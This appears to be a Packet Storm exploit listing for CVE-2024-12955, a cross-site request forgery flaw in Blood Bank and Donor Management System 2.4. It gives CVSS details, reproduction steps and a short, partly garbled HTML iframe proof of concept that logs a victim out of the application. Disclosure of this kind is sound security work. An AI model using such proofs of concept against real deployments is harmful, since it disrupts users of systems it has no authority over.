Blood Bank and Donor Management System 2.4 Cross Site Request Forgery

Exploit Details

Basic Information

Exploit Title Blood Bank and Donor Management System 2.4 Cross Site Request Forgery
Exploit ID PACKETSTORM:190568
Type packetstorm
Published 2025-04-18T00:00:00
Modified 2025-04-18T00:00:00

CVSS Information

CVSS Score 6.9
Severity MEDIUM
Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/SC:N/VI:L/SI:N/VA:N/SA:N

CVE Information

  • CVE-2024-12955

Exploit Description

Blood Bank and Donor Management System version…

Exploit Code

# Exploit Title: Blood Bank & Donor Management System 2.4 – CSRF Improper Input Validation
# Google Dork: N/A
# Date: 2024-12-26
# Exploit Author: Kwangyun Keum
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/blood-bank-donor-management-system/
# Version: 2.4
# Tested on: Windows 10 / Kali Linux with Apache and MySQL
# CVE: CVE-2024-12955

## Description:
Blood Bank & Donor Management System v2.4 suffers from a Cross-Site Request
Forgery (CSRF) vulnerability due to the absence of CSRF tokens for critical
functionalities such as logout. An attacker can craft a malicious iframe
embedding the logout URL and trick a victim into clicking it. This results
in the victim being logged out without their consent.

## Steps to Reproduce:
1. Deploy Blood Bank & Donor Management System v2.4.
2. Log in as any user.
3. Use the following PoC to demonstrate the issue:

“`html


src=”http://localhost/bbdms/logout.php”
style=”border:0px #FFFFFF none;”
name=”myLogoutFrame”
scrolling=”no”
frameborder=”1″
marginheight=”0px”
marginwidth=”0px”
height=”400px”
width=”600px”
allowfullscreen>



4. Save the above HTML code as logout_poc.html.
5.Open the file in a browser and click anywhere on the page to trigger the
logout.

View Full Exploit Details

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.